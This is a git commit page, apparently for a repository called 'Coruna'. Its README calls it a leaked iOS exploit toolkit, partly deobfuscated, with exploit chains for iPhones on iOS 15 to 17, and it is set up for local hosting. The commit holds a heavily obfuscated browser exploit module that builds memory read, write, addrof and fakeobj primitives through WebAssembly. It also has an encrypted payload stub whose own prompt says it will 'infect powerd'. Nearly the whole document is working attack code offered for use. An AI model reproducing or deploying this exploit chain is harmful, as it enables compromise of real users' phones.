Initial commit

This commit is contained in:
khanhduytran0
2026-03-06 13:20:46 +07:00
commit 3780af9370
25 changed files with 12587 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
.DS_Store
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
@@ -0,0 +1,5 @@
// This will be removed later
let shouldIReload = confirm("this js loaded means it works. Press OK to reload page. Cancel will let the rest of payload execute which will infect powerd.");
if (shouldIReload == true) location.reload();
window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl");
Binary file not shown.
+14
View File
@@ -0,0 +1,14 @@
# Coruna
The leaked exploit toolkit. Partially deobfuscated by Claude (thanks @34306) and by hand.
These scripts are modified in a way that allows you to host them locally.
Note that the script names may be incorrect and only includes exploit chains for tested devices.
## Tested on
| Device| Version | Exploit chain |
| :--- | --- | --- |
| iPhone 6s+ | 15.4.1 | jacurutu -> VariantB? -> ? |
| iPhone Xs Max | 16.5 | terrorbird -> seedbell -> VariantB -> ? |
| iPhone 15 Pro Max | 17.0 | cassowary -> seedbell_pre -> seedbell_17 -> VariantB -> ? |
+504
View File
@@ -0,0 +1,504 @@
let r = {};
const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"),
{
N: G,
Vt: m,
v: o
} = utilityModule,
platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0");
class E {
busyWait(A, t, Q = 0) {
let e = "";
for (let s = 0; s < t; s += 8) {
const t = this.read32(A + s + Q),
n = this.read32(A + s + Q + 4);
e += G(A + s) + "(" + G(s) + "): " + (i = t, r = n, "0x" + r.toString(16) + "00000000" + i.toString(16).slice(-8)) + "\n";
}
var i, r;
}
wr(A, t, Q) {
for (let e = 0; e < Q; e += 4) this.write32(A + e, t);
}
copyMemory32(A, t, Q) {
if (Q % 4 != 0) throw new Error("Q % 4 != 0");
this.yr = !0;
for (let e = 0; e < Q; e += 4) this.write32(A.H(e).W(), this.read32(t.H(e).W()));
this.yr = !1;
}
read32FromInt64(A) {
this.yr = !0;
const t = this.read32(A.W());
return this.yr = !1, t;
}
readInt64FromInt64(A) {
this.yr = !0;
const t = this.read32(A.W()),
Q = this.read32(A.H(4).W());
return this.yr = !1, new utilityModule.Int64(t, Q);
}
mr(A) {
this.yr = !0;
const t = this.read32(A.W()),
Q = this.read32(A.H(4).W());
return this.yr = !1, utilityModule.T(t, Q);
}
Ar(A) {
const t = A.it % 4;
A = A.Bt(t), this.yr = !0;
const Q = this.read32(A.W()) >> 8 * t & (1299800684 ^ 1299800723);
return this.yr = !1, Q;
}
readStringFromInt64(A, t = 1714237818 ^ 1714237562) {
let Q = "";
for (; Q.length < t;) {
const t = this.Ar(A.H(Q.length));
if (0 === t) break;
Q += String.fromCharCode(t);
}
return Q;
}
Pr(A, t) {
let Q = "";
for (; Q.length < t;) {
const t = this.Ar(A.H(Q.length));
Q += String.fromCharCode(t);
}
return Q;
}
readByte(A) {
const t = A % 4;
let Q;
return Q = !0 === this.yr ? utilityModule.q(A, -t) : A - t, this.read32(Q) >> 8 * t & (1966290542 ^ 1966290577);
}
readRawBigInt(A) {
const t = this.read32(A),
Q = this.read32(A + 4);
if (Q > o) throw new Error("Q > o");
return utilityModule.T(t, Q);
}
readDoubleAsPointer(A, t = !1) {
const Q = this.read32(A);
let e = this.read32(A + 4);
return (!0 === t || globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.zohDDd) && (e &= o), utilityModule.T(Q, e);
}
readInt64FromOffset(A) {
const t = this.read32(A),
Q = this.read32(A + 4);
return new utilityModule.Int64(t, Q);
}
readString(A, t = 1597399620 ^ 1597399876) {
let Q = 2020291918 ^ 127191729;
[30, 5, 29, 18, 21, 2].map((x) => {
return String.fromCharCode(x ^ 112);
}).join("") == typeof t && (Q = t);
let e = "";
for (; e.length < Q;) {
const t = this.readByte(A + e.length);
if (0 === t) break;
e += String.fromCharCode(t);
}
return e;
}
Nr(A, t) {
let Q = "";
for (; Q.length < t;) {
const t = this.readByte(A + Q.length);
Q += String.fromCharCode(t);
}
return Q;
}
addrof(A) {
this._r.a = A;
const t = this.readRawBigInt(this.Wr);
return this._r.a = null, t;
}
pr(A) {
const t = new DataView(new ArrayBuffer(A.length + 1));
utilityModule.D(t);
for (let Q = 0; Q < A.length; Q++) t.setUint8(Q, A.charCodeAt(Q));
return this.fakeobj(t);
}
allocControlledBuffer(A, t = !1) {
const Q = new ArrayBuffer(A),
e = new Uint8Array(Q);
utilityModule.D(Q);
const i = this.addrof(e),
r = this.readDoubleAsPointer(i + globalThis.moduleManager.getModuleByName([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map((x) => {
return String.fromCharCode(x ^ 118);
}).join("")).platformState.versionFlags.oGn3OG);
if (!0 === t) {
const A = this.addrof(Q),
t = this.readDoubleAsPointer(A + globalThis.moduleManager.getModuleByName([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map((x) => {
return String.fromCharCode(x ^ 121);
}).join("")).platformState.versionFlags.CN3rr_);
let e = this.read32(t + globalThis.moduleManager.getModuleByName([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map((x) => {
return String.fromCharCode(x ^ 49);
}).join("")).platformState.versionFlags.EMDU4o);
e += 32, this.write32(t + globalThis.moduleManager.getModuleByName([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map((x) => {
return String.fromCharCode(x ^ 76);
}).join("")).platformState.versionFlags.EMDU4o, e);
}
return r;
}
fakeobj(A, t = !1) {
A instanceof ArrayBuffer && (A = new Int8Array(A));
const Q = this.addrof(A);
return this.readDoubleAsPointer(Q + globalThis.moduleManager.getModuleByName([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map((x) => {
return String.fromCharCode(x ^ 101);
}).join("")).platformState.versionFlags.oGn3OG, t);
}
withTempOverrides(A, ...t) {
const Q = new Array(t.length + 10);
for (let A = 0; A < t.length; A++) Q[A] = this.readInt64FromOffset(t[A].Ir);
try {
for (let A = 0; A < t.length; A++) this.writeInt64ToOffset(t[A].Ir, t[A].Zt);
A();
} finally {
for (let A = 0; A < t.length; A++) this.writeInt64ToOffset(t[A].Ir, Q[A]);
}
}
constructor(A, t, Q, e) {
const i = new Uint8Array([0, 97, 946231116 ^ 946231103, 826626901 ^ 826626872, 1, 0, 0, 0, 1, 17, 4, 96, 0, 1, 1212428661 ^ 1212428553, 96, 1, 1400203094 ^ 1400203050, 0, 96, 0, 1, 1517901910 ^ 1517901865, 96, 1, 1480681551 ^ 1480681520, 0, 3, 5, 4, 0, 1, 2, 3, 4, 4, 1, 1161312360 ^ 1161312280, 0, 1, 6, 27, 3, 1447643496 ^ 1447643414, 1, 66, 961377581 ^ 961377694, 761947713 ^ 761947781, 1865960010 ^ 1865960078, 1096307566 ^ 1096307638, 11, 11, 2003579511 ^ 2003579400, 1, 65, 1148146745 ^ 1148146860, 910383415 ^ 910383514, 927873360 ^ 927873422, 1383223911 ^ 1383223971, 1597008438 ^ 1597008463, 11, 1163883309 ^ 1163883346, 1, 65, 1850833253 ^ 1850833366, 2034985570 ^ 2034985638, 1229419061 ^ 1229419249, 25, 11, 7, 17, 4, 1, 97, 0, 0, 1, 98, 0, 1, 1, 99, 0, 2, 1, 1364608368 ^ 1364608276, 0, 3, 10, 27, 4, 5, 0, 35, 0, 1517506402 ^ 1517506525, 11, 7, 0, 32, 0, 1162504248 ^ 1162504325, 36, 0, 11, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]).buffer,
r = new WebAssembly.Module(i, {}),
s = new WebAssembly.Instance(r, {}),
n = new WebAssembly.Instance(r, {});
this.Vr = s, this.Cr = n, this.Kr = "a", this.Xr = "b", this.vr = "c", this.Hr = "d", this.$r = new ArrayBuffer(8), this.Gr = new Uint32Array(this.$r), this._r = {
a: !1
}, this.Wr = 0, this.yr = !1;
for (let A = 0; A < 22; A++) this.Vr.exports[this.vr](0), this.Vr.exports[this.Hr](0, 0), this.Vr.exports[this.Kr](0), this.Vr.exports[this.Xr](0, 0);
const g = (t) => {
t[0] = 1;
const e = A(t);
return Q(e + globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => {
return String.fromCharCode(x ^ 80);
}).join("")).platformState.versionFlags.zpy6Mu) + globalThis.moduleManager.getModuleByName([115, 118, 116, 116, 123, 33, 35, 113, 32, 115, 119, 115, 123, 32, 35, 112, 35, 122, 36, 118, 114, 32, 39, 112, 122, 117, 36, 116, 118, 116, 38, 118, 38, 117, 119, 123, 113, 39, 32, 114].map((x) => {
return String.fromCharCode(x ^ 66);
}).join("")).platformState.versionFlags.xK8SW0;
},
o = g(n),
h = g(s);
this.Yr = -8, this.Zr = 0, this.jr = Q(o), this.kr = o, t(o, h + this.Zr), this.Qr = this.Cr.exports[this.Kr](), this.Wr = A(this._r) + globalThis.moduleManager.getModuleByName([92, 89, 91, 91, 84, 14, 12, 94, 15, 92, 88, 92, 84, 15, 12, 95, 12, 85, 11, 89, 93, 15, 8, 95, 85, 90, 11, 91, 89, 91, 9, 89, 9, 90, 88, 84, 94, 8, 15, 93].map((x) => {
return String.fromCharCode(x ^ 109);
}).join("")).platformState.versionFlags.fGOrHX, e();
}
cleanup() {
const A = JSON.parse([111, 4, 105].map((x) => {
return String.fromCharCode(x ^ 52);
}).join("")),
t = JSON.parse([18, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 20].map((x) => {
return String.fromCharCode(x ^ 73);
}).join(""));
A[0] = !1, t[0] = 1.2;
const Q = {
Fr: .1,
Lr: .2,
Rr: .3,
qr: .4
},
e = this.addrof(Q),
i = this.addrof(t),
r = this.addrof(A),
s = this.readRawBigInt(i + 8),
n = this.readRawBigInt(r + 8);
for (let A = 0; A < 16; A += 4) this.write32(e + 20 + A, this.read32(i + A));
const g = utilityModule.C(Q.Lr);
this.copyBigInt(n, e + 20);
const o = A[0];
A[0] = void 0, Q.Lr = utilityModule.Y(g, utilityModule._(this.kr) - platformModule.platformState.Fn), Q.Rr = utilityModule.Y(utilityModule.F(this.kr), 1751865938 ^ 1751246476), this.Cr.exports[this.Xr](this.Qr), o[0] = utilityModule.J(this.jr), Q.Lr = utilityModule.Y(g, utilityModule._(s) - platformModule.platformState.Fn), Q.Rr = utilityModule.Y(utilityModule.F(s), 1866875953 ^ 1867315439);
}
read32(A) {
return this.ri(A), this.Vr.exports[this.vr](0) >>> 0;
}
write32x2(A, t, Q) {
this.write32(A, t), this.write32(A + 4, Q);
}
write32(A, t) {
this.ri(A), this.Vr.exports[this.Hr](0 | t);
}
copyBigInt(A, t) {
this.write32(A, t >>> 0), this.write32(A + 4, t / 4294967296 >>> 0);
}
writeInt64ToOffset(A, t) {
this.write32(A, t.it), this.write32(A + 4, t.et);
}
ri(A) {
if (!1 === this.yr) {
if (A < 0x10000 || A != A) throw new Error("A < 0x10000|| A != A");
this.Cr.exports[this.Xr](utilityModule.J(A + this.Yr));
} else this.Cr.exports[this.Xr](utilityModule.q(A, this.Yr));
}
}
function Q(A, t, Q) {
A(), window.VHcWaK[1] = Q;
}
r.si = function () {
const A = 1130706244 ^ 1130706386,
t = A,
e = [17, 21, 8, 23, 10, 12, 11].map((x) => {
return String.fromCharCode(x ^ 120);
}).join(""),
i = "f",
r = 9.4306048228214e-20,
s = BigInt([8, 64, 11, 90, 94, 92, 92, 13, 1, 8, 12, 12, 11, 9, 89, 13, 92, 0].map((x) => {
return String.fromCharCode(x ^ 56);
}).join("")),
n = 0,
g = 1;
function h(A) {
const t = new Uint8Array(A.length);
for (let Q = 0; Q < A.length; Q++) t[Q] = A.charCodeAt(Q);
return t;
}
const a = h(atob([14, 8, 9, 53, 45, 30, 10, 14, 14, 14, 14, 13, 59, 30, 6, 12, 22, 14, 14, 14, 22, 5, 22, 13].map((x) => {
return String.fromCharCode(x ^ 79);
}).join("")) + "~".repeat(1984785218 ^ 1984785364) + atob([22, 29, 63, 71].map((x) => {
return String.fromCharCode(x ^ 122);
}).join("")) + "~".repeat(825313878 ^ 825313984) + atob("Ag8BB2ltcG9ydHMDbW9kAAADAgEBBQQBAQEBBwsCA21lbQIAAWYAAQrBEAG+EABBACAAQQggAUEQIAJBGCADQSAgBEEoIAVBMCAGQTggB0HAACAIQcgAIAlB0AAgCkHYACALQeAAIAxB6AAgDUHwACAOQfgAIA9BgAEgEEGIASARQZABIBJBmAEgE0GgASAUQagBIBVBsAEgFkG4ASAXQcABIBhByAEgGUHQASAaQdgBIBtB4AEgHEHoASAdQfABIB5B+AEgH0GAAiAgQYgCICFBkAIgIkGYAiAjQaACICRBqAIgJUGwAiAmQbgCICdBwAIgKEHIAiApQdACICpB2AIgK0HgAiAsQegCIC1B8AIgLkH4AiAvQYADIDBBiAMgMUGQAyAyQZgDIDNBoAMgNEGoAyA1QbADIDZBuAMgN0HAAyA4QcgDIDlB0AMgOkHYAyA7QeADIDxB6AMgPUHwAyA+QfgDID9BgAQgQEGIBCBBQZAEIEJBmAQgQ0GgBCBEQagEIEVBsAQgRkG4BCBHQcAEIEhByAQgSUHQBCBKQdgEIEtB4AQgTEHoBCBNQfAEIE5B+AQgT0GABSBQQYgFIFFBkAUgUkGYBSBTQaAFIFRBqAUgVUGwBSBWQbgFIFdBwAUgWEHIBSBZQdAFIFpB2AUgW0HgBSBcQegFIF1B8AUgXkH4BSBfQYAGIGBBiAYgYUGQBiBiQZgGIGNBoAYgZEGoBiBlQbAGIGZBuAYgZ0HABiBoQcgGIGlB0AYgakHYBiBrQeAGIGxB6AYgbUHwBiBuQfgGIG9BgAcgcEGIByBxQZAHIHJBmAcgc0GgByB0QagHIHVBsAcgdkG4ByB3QcAHIHhByAcgeUHQByB6QdgHIHtB4AcgfEHoByB9QfAHIH5B+Acgf0GACCCAAUGICCCBAUGQCCCCAUGYCCCDAUGgCCCEAUGoCCCFAUGwCCCGAUG4CCCHAUHACCCIAUHICCCJAUHQCCCKAUHYCCCLAUHgCCCMAUHoCCCNAUHwCCCOAUH4CCCPAUGACSCQAUGICSCRAUGQCSCSAUGYCSCTAUGgCSCUAUGoCSCVAQ==") + atob([36, 29, 43, 43].map((x) => {
return String.fromCharCode(x ^ 106);
}).join("")).repeat(1650027120 ^ 1650027238) + atob("EABBACkAAEEIKQAAQRApAABBGCkAAEEgKQAAQSgpAABBMCkAAEE4KQAAQcAAKQAAQcgAKQAAQdAAKQAAQdgAKQAAQeAAKQAAQegAKQAAQfAAKQAAQfgAKQAAQYABKQAAQYgBKQAAQZABKQAAQZgBKQAAQaABKQAAQagBKQAAQbABKQAAQbgBKQAAQcABKQAAQcgBKQAAQdABKQAAQdgBKQAAQeABKQAAQegBKQAAQfABKQAAQfgBKQAAQYACKQAAQYgCKQAAQZACKQAAQZgCKQAAQaACKQAAQagCKQAAQbACKQAAQbgCKQAAQcACKQAAQcgCKQAAQdACKQAAQdgCKQAAQeACKQAAQegCKQAAQfACKQAAQfgCKQAAQYADKQAAQYgDKQAAQZADKQAAQZgDKQAAQaADKQAAQagDKQAAQbADKQAAQbgDKQAAQcADKQAAQcgDKQAAQdADKQAAQdgDKQAAQeADKQAAQegDKQAAQfADKQAAQfgDKQAAQYAEKQAAQYgEKQAAQZAEKQAAQZgEKQAAQaAEKQAAQagEKQAAQbAEKQAAQbgEKQAAQcAEKQAAQcgEKQAAQdAEKQAAQdgEKQAAQeAEKQAAQegEKQAAQfAEKQAAQfgEKQAAQYAFKQAAQYgFKQAAQZAFKQAAQZgFKQAAQaAFKQAAQagFKQAAQbAFKQAAQbgFKQAAQcAFKQAAQcgFKQAAQdAFKQAAQdgFKQAAQeAFKQAAQegFKQAAQfAFKQAAQfgFKQAAQYAGKQAAQYgGKQAAQZAGKQAAQZgGKQAAQaAGKQAAQagGKQAAQbAGKQAAQbgGKQAAQcAGKQAAQcgGKQAAQdAGKQAAQdgGKQAAQeAGKQAAQegGKQAAQfAGKQAAQfgGKQAAQYAHKQAAQYgHKQAAQZAHKQAAQZgHKQAAQaAHKQAAQagHKQAAQbAHKQAAQbgHKQAAQcAHKQAAQcgHKQAAQdAHKQAAQdgHKQAAQeAHKQAAQegHKQAAQfAHKQAAQfgHKQAAQYAIKQAAQYgIKQAAQZAIKQAAQZgIKQAAQaAIKQAAQagIKQAAQbAIKQAAQbgIKQAAQcAIKQAAQcgIKQAAQdAIKQAAQdgIKQAAQeAIKQAAQegIKQAAQfAIKQAAQfgIKQAAQYAJKQAAQYgJKQAAQZAJKQAAQZgJKQAAQaAJKQAAQagJKQAACw==")),
B = h(atob([21, 19, 18, 46, 54, 5, 17, 21, 21, 21, 21, 22, 22, 35, 30, 51, 21, 21, 22, 51, 21, 21, 21, 23, 60, 55, 21, 18, 51, 17, 21, 28, 53, 3, 101, 35, 54, 103, 30, 100, 55, 35, 26, 57, 48, 3, 96, 21, 21, 21, 105, 105].map((x) => {
return String.fromCharCode(x ^ 84);
}).join("")) + atob([52, 68, 26, 2, 21, 49, 79, 15, 18, 62, 59, 55, 55, 55, 51, 75].map((x) => {
return String.fromCharCode(x ^ 118);
}).join("")).repeat(893858670 ^ 893856913) + atob([112, 70, 120, 115, 112, 96, 82, 121, 112, 96, 123, 92, 124, 86, 114, 112, 96, 112, 94, 118, 112, 96, 96, 112, 116, 112, 112, 125].map((x) => {
return String.fromCharCode(x ^ 49);
}).join(""))),
K = h(atob([12, 10, 11, 55, 47, 28, 8, 12, 12, 12, 12, 15, 62, 42, 4, 15, 20, 7, 20, 15].map((x) => {
return String.fromCharCode(x ^ 77);
}).join("")) + "~".repeat(1331844939 ^ 1331845085) + atob([41, 34, 0, 120].map((x) => {
return String.fromCharCode(x ^ 69);
}).join("")) + "~".repeat(1734894158 ^ 1734894296) + atob([53, 40, 58, 48, 48, 40, 51, 48].map((x) => {
return String.fromCharCode(x ^ 113);
}).join("")) + atob([12, 12, 112, 112].map((x) => {
return String.fromCharCode(x ^ 77);
}).join("")).repeat(2050573361 ^ 2050556977) + atob([55, 34, 62, 49, 50, 50, 50, 78].map((x) => {
return String.fromCharCode(x ^ 115);
}).join("")));
function c() {}
window.VHcWaK = new Array(16).fill([]).map((A, t) => {
const Q = JSON.parse([45, 71, 88, 71, 90, 86, 71, 88, 68, 90, 86, 69, 88, 68, 43].map((x) => {
return String.fromCharCode(x ^ 118);
}).join(""));
return Q[0] = .1 + t, Q["a" + t] = t, Q;
});
const b = function () {
const o = {
mode: n,
AA: BigInt(0),
A: !1
},
h = {
fun: function (t) {
const Q = new WebAssembly.Module(a),
r = new WebAssembly.Instance(Q, {
[e]: {
mod: function (t) {
t.A = !1;
const Q = new BigUint64Array(r.exports.mem.buffer);
for (let e = 0; e < A - 1; e++)
if (Q[e] === s) {
t.mode === n ? (t.A = !0, t.AA = Q[e + 1]) : t.mode === g && (t.A = !0, Q[e + 1] = t.AA);
break;
}
}.bind(null, t)
}
});
return r.exports[i];
}(o),
"": c
},
b = [];
for (let A = 0; A < (1414746221 ^ 1414746521); A++) b.push(new WebAssembly.Table({
initial: 1783847238 ^ 1783855430,
element: [93, 64, 76, 93, 74, 86, 74, 93, 94].map((x) => {
return String.fromCharCode(x ^ 56);
}).join("")
}));
for (let A = 0; A < 4; A++) b[(1380205894 ^ 1380205742) + 3 * A].grow(1786067060 ^ 1786058869);
const f = [];
for (let A = 0; A < 2; A++) f[A] = new WebAssembly.Module(B);
for (let A = 0; A < 4; A++) b[(1163475029 ^ 1163475378) + 3 * A].grow(1479889253 ^ 1479897444);
for (let A = 0; A < 1; A++) b.push(new WebAssembly.Table({
initial: 1093890903 ^ 1093882711,
element: [92, 65, 77, 92, 75, 87, 75, 92, 95].map((x) => {
return String.fromCharCode(x ^ 57);
}).join("")
}));
const l = [];
for (let A = 0; A < 2; A++) l[A] = new WebAssembly.Module(K);
let C = null;
for (let A = 0; A < f.length; A++) try {
C = new WebAssembly.Instance(f[A], {
[e]: h
});
break;
} catch (A) {}
if (null === C) throw new Error("null === C");
const w = new Array(t - 2);
return {
tA: function (A) {
if (o.A = !1, o.mode = n, Q(C.exports.f2, r, A, ...w), !o.A) throw new Error("o.A = !1, o.mode = n, Q(C.exports.f2, r, A, ...w), !o.A");
return o.AA;
},
QA: function (A) {
if (o.A = !1, o.mode = g, o.AA = A, Q(C.exports.f2, r, null, ...w), !o.A) throw new Error("o.A = !1, o.mode = g, o.AA = A, Q(C.exports.f2, r, null, ...w), !o.A");
}
};
}(),
f = utilityModule.Z(1, 0, 34, 7),
l = {
a: .1,
b: .2,
c: .3,
d: .4
},
C = {
a: .1,
b: .1,
e: .1
};
C.b = new Array(2);
const w = b.tA(l),
d = b.tA(C),
u = w + BigInt(20);
const I = utilityModule.T(Number((d & BigInt(4294967296 + (1903440484 ^ -1903440485))).toString()), Number((d >> BigInt(32)).toString())),
G = new Function("b", "L2", [75, 65, 29].map((x) => {
return String.fromCharCode(x ^ 45);
}).join(""), [8, 35, 59].map((x) => {
return String.fromCharCode(x ^ 87);
}).join(""), [13, 2, 68, 76, 2, 8, 84, 77, 68, 31, 68, 6, 63, 40, 86, 57, 63, 84, 57, 68, 89, 68, 59, 16, 8, 95, 68, 22, 1, 16, 17, 22, 10, 68, 84, 95, 68, 25, 68, 1, 8, 23, 1, 68, 31, 68, 22, 1, 16, 17, 22, 10, 68, 6, 63, 40, 86, 57, 63, 84, 57, 95, 68, 25].map((x) => {
return String.fromCharCode(x ^ 100);
}).join(""));
for (let A = 0; A < (1731217207 ^ 1731314071); A++) G(window.VHcWaK, A % window.VHcWaK.length, !0, A + .1), G(window.VHcWaK, A % window.VHcWaK.length, !1, 0);
function U(A) {
const t = utilityModule._(A),
Q = utilityModule.F(A);
l.b = utilityModule.Y(f, t - (910241864 ^ 910372936)), l.c = utilityModule.Y(Q, 2035439692 ^ 2036180915);
const e = G(window.VHcWaK, 1, !1, 0);
return utilityModule.P(e);
}
b.QA(BigInt(u));
const H = new E(function (A) {
return C.b = A, U(I + 24);
}, function (A, t) {
const Q = utilityModule._(A),
e = utilityModule.F(A),
i = utilityModule.J(t);
l.b = utilityModule.Y(f, Q - (2053727842 ^ 2053858914)), l.c = utilityModule.Y(e, 1868713291 ^ 1869460148), G(window.VHcWaK, 1, !0, i);
}, U, function () {
window.VHcWaK[1] = null, window.VHcWaK.length = 0;
});
platformModule.platformState.exploitPrimitive = H;
const y = new Uint32Array(4);
class Y {
constructor(A, t) {
if (A < 0 || A > 4294967296 + (1231440435 ^ -1231440436)) throw new Error("A < 0 || A > 4294967296 + (1231440435 ^ -1231440436)");
if (t < 0 || t > 4294967296 + (2018474571 ^ -2018474572)) throw new Error("t < 0 || t > 4294967296 + (2018474571 ^ -2018474572)");
this.ci = A, this.fi = t;
}
static null() {
return new Y(0, 0);
}
static li(A) {
const t = platformModule.platformState.exploitPrimitive.addrof(A);
return Y.ut(t);
}
static bi(A) {
const t = platformModule.platformState.exploitPrimitive.fakeobj(A);
return Y.ut(t);
}
static ut(A) {
return new Y(A >>> 0, A / 4294967296 >>> 0);
}
static L(A) {
return new Y(utilityModule.C(A), utilityModule.H(A));
}
static ui(A) {
return new Y(A, 0);
}
static wi(A, t) {
return new Y(A, t);
}
di() {
return 4294967296 * this.fi + this.ci;
}
gi() {
return new m(this.ci, this.fi);
}
yi() {
if (0 !== this.fi) throw new Error("0 !== this.fi");
return this.ci;
}
readRawBigInt() {
const A = platformModule.platformState.exploitPrimitive.read32(this.di()),
t = platformModule.platformState.exploitPrimitive.read32(this.di() + 4);
return new Y(A, t);
}
readString(A = 1870098266 ^ 1870098238) {
return platformModule.platformState.exploitPrimitive.readString(this.di(), A);
}
copyBigInt(A) {
platformModule.platformState.exploitPrimitive.write32(this.di(), A.ci), platformModule.platformState.exploitPrimitive.write32(this.di() + 4, A.fi);
}
Ui(A) {
platformModule.platformState.exploitPrimitive.write32(this.di(), A);
}
mi() {
return platformModule.platformState.exploitPrimitive.read32(this.di());
}
Ai() {
return this.fi > o;
}
Ti() {
return 0 === this.ci && 0 === this.fi;
}
lt(A) {
return this.ci === A.ci && this.fi === A.fi;
}
Pi(A) {
return this.fi === A.fi ? this.ci >= A.ci : this.fi >= A.fi;
}
Si(A) {
return this.fi === A.fi ? this.ci <= A.ci : this.fi <= A.fi;
}
add(A) {
if (A instanceof Y == !1) throw new Error("A instanceof Y == !1");
if (y[0] = this.ci, y[1] = this.ci + A.ci, y[2] = this.fi, y[3] = this.fi + A.fi, y[1] < y[0] && (y[3] += 1), y[3] < y[2]) throw new Error("y[0] = this.ci, y[1] = this.ci + A.ci, y[2] = this.fi, y[3] = this.fi + A.fi, y[1] < y[0] && (y[3] += 1), y[3] < y[2]");
return new Y(y[1], y[3]);
}
sub(A) {
if (A instanceof Y == !1) throw new Error("A instanceof Y == !1");
